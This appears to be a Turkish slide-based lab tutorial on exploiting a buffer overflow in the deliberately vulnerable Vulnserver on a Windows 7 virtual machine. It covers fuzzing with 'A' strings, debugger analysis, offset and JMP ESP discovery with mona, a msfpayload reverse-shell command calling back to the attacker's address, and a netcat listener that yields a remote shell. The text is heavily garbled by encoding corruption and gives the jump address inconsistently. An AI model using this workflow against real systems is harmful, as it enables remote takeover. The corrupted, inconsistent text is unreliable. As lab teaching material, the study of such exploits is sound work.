2.
Buffer Overflow 1
Buffer Overflow 3
Projenin Amac脹: 3
Bulgular ve Ekran G旦r端nt端leri: 3
聴mmunity Debugger Kurulumu ve Tan脹m脹: 10
Windows komut sat脹r脹 端zerinden uygulama 巽al脹t脹rma 30
Okan YILDIZ - Senior Software Developer/Security Consultant
3. Buffer Overflow
Projenin Amac脹:
Bir uygulamada zafiyet tespit etmek ve bu zafiyetten faydalanacak bir
istismar kodu gelitirmektir. Sanal makine 端zerine kurduumuz iletim
sistemleri
arac脹l脹脹 ile hedef bilgisayar 端zerinde 旦nbellek ta脹rma yapaca脹z. Sald脹r脹
yapt脹脹m脹z ve istismar kodunu gelitirdiimiz iletim sistemimiz Kali dir.
Kali 端zerinde 300 den fazla g端venlik yaz脹l脹m脹 olan bir iletim sistemidir.
Hedef
bilgisayar脹m脹z ise sanal makine 端zerine kurduumuz ve Microsoft
taraf脹ndan gelitirilen Windows 7 iletim sistemidir.
Bulgular ve Ekran G旦r端nt端leri:
1. Bir uygulamada zafiyet tespit etmek ve bu zafiyetten
faydalanacak bir istismar kodu gelitirmek i巽in yaz脹lm脹 bir
uygulama olan Vulnserver
yaz脹l脹m脹n脹 Windows 7 端zerinde 巽al脹t脹r脹yoruz ve bu
makinemizin ip adresini cmd ekran脹nda ipconfig yazarak
旦reniyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
5. 2. Bu aamada Kali de komut ekran脹na gelip hedef bilgisayarla iletiim
kurmaya 巽al脹脹yoruz. Bunun i巽in komut sat脹r脹na telnet
192.168.124.133 9999 yaz脹yoruz. Burada ki 9999 vulnserver 脹n
kulland脹脹 portdur.
Kar脹maza gelen ekranda HELP komutunu yazarak, hangi komutlar脹
kullanabileceimizi 旦reniyoruz.
3. Balant脹n脹n kurulup, kurulamad脹脹n脹 g旦rmek i巽in vulnserver
ekran脹m脹za bak脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
6. Bakt脹脹m脹zda 192.168.124.131 nolu ip ile iletiim kurduunu
g旦r端yoruz. Kalimize gelerek bu ip adresini teyit edelim.
Bakt脹脹m脹zda bu ip numaras脹n脹n bize ait olduunu g旦r端yoruz.
4. Bu aamada vulnserver a TRUN komutu ile bir dizi karakter
g旦nderiyorum. Bunu yollamamda ki ama巽 vulnsever 脹n bu iletiimi
de kabul edip etmeyeceini g旦rmek. Bunun 旦nceden
gelitirdiimiz ve bir
Okan YILDIZ - Senior Software Developer/Security Consultant
8. sonraki aamlarda yap脹m脹na deineceim ./istismar
komutunu yaz脹p hedef pc ye 3 adet paket yolluyoruz.
Bu ileminin baar脹 ile ger巽ekletiini bize s旦yl端yor.
Vulnsever 脹n bu balant脹y脹 da kabul edip etmediini g旦rmek
i巽in vulnserver ekran脹na bak脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
9. 5. Bu aamada bir sonraki ad脹m da kullanaca脹m脹z istismar kodunu
gelitirme aamlar脹na deineceim bunun i巽in konsol ekran脹na
nano istismar yaz脹yoruz ve kar脹m脹za gelen ekrana python dili
ile kodlar脹m脹z脹 yaz脹yoruz.
Burada server yazan yere hedef pc nin ip adresini,sport olan yere
port numar脹s脹n脹 yaz脹yoruz. Bu program vas脹tas脹yla klavyeden
gireceimiz say脹 kadar hedef pc ye A karakterini yollayacakt脹r.
Kodumuzu yazd脹ktan sonra ctrl + x yaz脹yoruz kar脹m脹za 巽脹kan
ekranlar脹 onaylad脹ktan sonra tekrar konsol ekran脹m脹za gelip
chmod a+x istismar kodunu giriyoruz. Bu kodu girmez isek,
巽al脹t脹rd脹脹m脹z istismar da eriim engeli 巽脹kacakt脹r.
6. imdi ise hedef bilgisayara 巽ok say脹da A paketi yollayarak
vulnserver a hata yapt脹rmaya 巽al脹脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
10. 聴lk olarak 1000 adet karakter yollad脹k ancak program 巽旦kmedi,
ard脹nda paket say脹s脹n脹 2000 e 巽脹kard脹脹m脹zda paketlerin
iletilmediini g旦r端yoruz.
7. Gelen 2000 paket ile vulnserver yaz脹l脹m脹n脹n 巽旦kt端端n端 g旦r端yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
11. 聴mmunity Debugger Kurulumu ve Tan脹m脹:
Yaz脹l脹m脹n i巽ini ve 巽al脹ma imkan脹n脹 g旦rd端端m端z immunity debugger yaz脹l脹m脹n脹
http://debugger.immunityinc.com/adresinden hedef bilgisayar脹m脹za
indiriyoruz. Y旦netici olarak 巽al脹t脹rd脹脹m脹z setup dosyas脹ndan sonra
aa脹da verilen ekran kar脹m脹za gelecektir. I accept i iaretledikten
sonra program脹 kuruyoruz.
Program y端klendikten sonra uygulamam脹z aa脹daki gibi a巽脹labilir
duruma gelecektir.
Okan YILDIZ - Senior Software Developer/Security Consultant
12. Sol altta: Yaz脹l脹m脹n anl脹k durumu
Sa 端st ekranda bulunan registry deerleri aras脹nda;
EIP: Extended Instruction Pointer, yaz脹l脹m taraf脹ndan ileme
al脹nacak bir sonraki komut.
ESP: Extended Stack Pointer, bellein 端st端
EBP: Extended Base Pointer, bellein alt脹
Sol 端stteki ekran komutlar脹 Assembly dilinde neler olup bittiini g旦sterir.
8. Immunity debugger a vulnserver 脹 ekliyoruz. Bunun i巽in s脹ras脹yla
File ve Attach sekmelerine t脹kl脹yoruz ve aa脹daki gibi kar脹m脹za
gelen ekranda vulnserver.exe yi bulup attach diyoruz.
Attach butonuna bast脹ktan sonra bizi aa脹daki gibi bir
ekran kar脹layacak.
Okan YILDIZ - Senior Software Developer/Security Consultant
13. 9. Sol 端stte bulunan play butonuna basarak Immunity
debugger脹 巽al脹t脹r脹yoruz.
G旦r端ld端端 gibi sa altta Running yaz脹yor. Program 巽al脹maya balad脹.
10. Kalimizden hedefe tekrar 2000 tane A karakteri yolluyoruz
ve verdii hatay脹 inceliyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
14. Paketleri yollad脹ktan sonra Immunity Debugger ekran脹nda verilen
hataya bakal脹m.
Access violation when writing to [41414141] uyar脹s脹n脹 g旦r端yoruz.
Yollad脹脹m脹z A karakter dizileri veri yaz脹lmas脹 gereken bir adres olarak
yorumland脹 ve buraya yaz脹l脹rken bir hata meydana geldi. Access
violation when writing to [41414141] i巽erisinde yazan 41414141 in
hex inin asci
kodu kar脹l脹脹na h脹zl脹ca bakal脹m.
Okan YILDIZ - Senior Software Developer/Security Consultant
15. Bakt脹脹m脹zda kar脹m脹za AAAA 巽脹kt脹.
11. Bu seferde kalimizden hedefe 3000 tane A karakteri
yolluyoruz ve verdii hatay脹 inceliyoruz.
Paketleri yollad脹ktan sonra Immunity Debugger ekran脹nda verilen
hataya bakal脹m.
Okan YILDIZ - Senior Software Developer/Security Consultant
16. Immunity Debugger ekran脹m脹z脹n sol alt脹nda Access violation
when executing [41414141] hatas脹n脹 g旦r端yoruz. Bu hata
yollad脹脹m脹z
karakterlerin bir k脹sm脹n脹 veri yaz脹lacak bir yer olarak deil de
uygulanacak bir komut olarak alg脹lad脹. Access violation when
executing [41414141] i巽erisinde yazan 41414141 in hex inin asci
kodu kar脹l脹脹na az 旦nce
bakm脹t脹k ve bize AAAA sonucunu vermiti.
12. imdi ise yeni bir kod gelitirerek kar脹m脹za benzersiz bir tablo
oluturcak bunun bize faydas脹 bir sonraki gelitireceimiz
istismarda ka巽脹nc脹
karakterden sonra hata verdiini bulmak.
Okan YILDIZ - Senior Software Developer/Security Consultant
17. Program脹 巽al脹t脹r脹p bir k旦ede bekletiyoruz.
13. imdi ise kendimize bu tablodan yola 巽脹karak kendimize yeni
bir istismar gelitiriyoruz ve bununla atak yap脹p gelen hataya g旦z
at脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
18. imdi ise atak yap脹yoruz.
Verilen hataya g旦z atal脹m.
Okan YILDIZ - Senior Software Developer/Security Consultant
19. Immunity Debugger ekran脹m脹z脹n sol alt脹nda Access violation
when executing [35324131] hatas脹n脹 g旦r端yoruz. 35324131
bu ifadenin karakter kar脹l脹脹na h脹zl脹ca bakal脹m.
14. Bizim az 旦nce iimize yarar diye beklettiimiz tablodan
1A25 in yerini tespit ediyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
20. 15. Yukarida ki varsay脹m脹m脹z doru olup olmad脹脹n脹 旦renmek i巽in
ilgili yerin hesaba g旦re 2006 bayttan sonra 4 bayt i巽erdiini
d端端n端yoruz. Bunun
i巽in EIP ye deer yaz脹p sonuca bakaca脹z.
imdi ise ata脹m脹z脹 ger巽ekletiriyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
21. Gelen hataya bak脹p varsay脹m脹m脹z脹n doru olup
olmad脹脹na karar veriyoruz.
Immunity Debugger ekran脹m脹z脹n sol alt脹nda Access violation
when executing [4E414B4F] hatas脹n脹 g旦r端yoruz. 4E414B4F
bu ifadenin
karakter kar脹l脹脹na h脹zl脹ca bakal脹m.
Okan YILDIZ - Senior Software Developer/Security Consultant
22. 16. Corelean taraf脹ndan gelitirilen MONA.py bize istismar
kodumuzun her bilgisayarda 巽al脹mas脹n脹 salayacak deiiklikleri
yapmam脹z脹 salayacak 旦nemli noktalarda destek verecektir.imdi
ise mona.py dosyas脹n脹 indirip ilgili yere kopyal脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
23. 17. Immunity Debugger脹n alt脹nda bulunan beyaz komut sat脹r脹na
!mona modules yazarak Vulnserver y端klenirken beraberinde
y端klenen mod端lleri g旦rebiliriz.
Vulnserver 巽ok d端端k bellek adreslerinde balad脹脹 i巽in (BASE
s端tunu) adresin ba脹nda, daha 旦nce k旦t端 karakter olarak
belirlediimiz null
byte ( x00) g旦r端yoruz. uanda elimizde kullan脹labilir olarak essfunc.dll
mod端l端 kal脹yor.
18. Kalimize gelerek JMP ve ESP nin hex kodunu bulmaya 巽al脹脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
24. 19. Mona ile JSP ESP bulmaya 巽al脹脹yoruz. Bunun i巽in
!mona find s xffxe4 m essfunc.dll komutunu
immunity debugger da 巽al脹t脹r脹yoruz.
Yukar脹da g旦r端ld端端 gibi 9 adet pointers bulunmu. Biz bunlardan
ilkiyle yani 625011af ile ilgileneceiz.
Okan YILDIZ - Senior Software Developer/Security Consultant
25. 20. imidi immunity debugger i tekrar 巽al脹t脹r脹yoruz. Bunun
ard脹ndan yeni bir test kodu 端retip, JMP ESP adresi (625011af) ile
bir sald脹r脹 g旦ndereceiz.
615011af adresini kullanarak istismar kodumuzu gelitiriyoruz.
21. 聴stismar kodunu gelitirdikten sonra imdi tekrar bir sald脹r脹
d端zenliyoruz. Bu sald脹r脹da 旦nbellei kontrol edeceimiz test bir
kod kullan脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
26. 22. imdi ise s脹ra istismar kodumuzu gelitirmeye geldi. Bunun
i巽in konsol ekran脹m脹za nano okanyildiz yaziyoruz. Ve gelen
ekrana istismar
kodumuzu yaz脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
27. 23. 聴stismar kodumuzda ki exploit () olan parantez i巽erisine
Metasploitun i巽erisinde bulunan basit bir reverse Shell istismar
kodunu
yerletiriyoruz. Bunun i巽in komut sat脹r脹na msfpayload
windows/shell_reverse_tcp LHOST=192.168.124.131 LPORT=443
EXITFUNC=thread R | msfencode -b x00 -e x86/shikata_ga_nai
komutunu yaz脹yoruz. Burada LHOST sald脹r脹 makinemizin yani kali
mizin ip adresini giriyoruz. LPORT k脹sm脹na hangi port 端zerinden
bize balanmas脹n脹 ekliyoruz ve msfencode -b x00 k脹sm脹na ise
旦nceden tespit ettiimiz
k旦t端c端l karakterin kullan脹lmamas脹n脹 sal脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
28. 24. Elde edilen istismar kodunu exploit () i巽erisine kopyal脹yoruz ve
ard脹ndan s脹ras脹yla ctrl + x e bas脹p kaydettikten sonra chmod a+x
okanyildiz yaz脹p
eriime izin veriyoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant
29. 25. Komut sat脹r脹na nc nlvp 443 yazarak Netcat yaz脹l脹m脹 端zerinden
443 nolu portu dinlemeye bal脹yoruz. Sald脹r脹n脹 kodunu
巽al脹t脹rd脹脹m脹zda vulnserver 巽旦kmez ise ve istismar kodumuz
baar脹l脹 olurca netcat 端zerinden hedef sistemin Windows komut
sat脹r脹n脹 elde edeceiz.
26. Gelitirdiimiz istismar kodunu 巽al脹t脹r脹yoruz.Program脹
巽al脹t脹rmadan 旦nce windows makinemizden vulnserver 脹
a巽may脹 unutmayal脹m.
Okan YILDIZ - Senior Software Developer/Security Consultant
30. 27. 聴stismar kodunu 巽al脹t脹rd脹ktan sonra Netcat yaz脹l脹m脹n脹 kontrol ediyoruz.
G旦r端ld端端 端zere sald脹r脹m脹z baar脹ya ulat脹 ve hedef sistemin
windows komut sat脹r脹na ulat脹k. Aa脹da verilen Windows komut
sat脹r脹 端zerinden uygulama 巽al脹t脹rma bal脹脹 alt脹nda hedef sistem
端zerinde, sald脹r脹 makinemizden programlar a巽aca脹z.
Okan YILDIZ - Senior Software Developer/Security Consultant
31. Windows komut sat脹r脹 端zerinden uygulama 巽al脹t脹rma
1. Notepad uygulamas脹n脹, kali 端zerinden 巽al脹t脹rmak i巽in
notepad.exe yaz脹p enter a bas脹yoruz.
2. Hesap makinesi uygulamas脹n脹 a巽mak i巽in calc.exe yaz脹yoruz.
Okan YILDIZ - Senior Software Developer/Security Consultant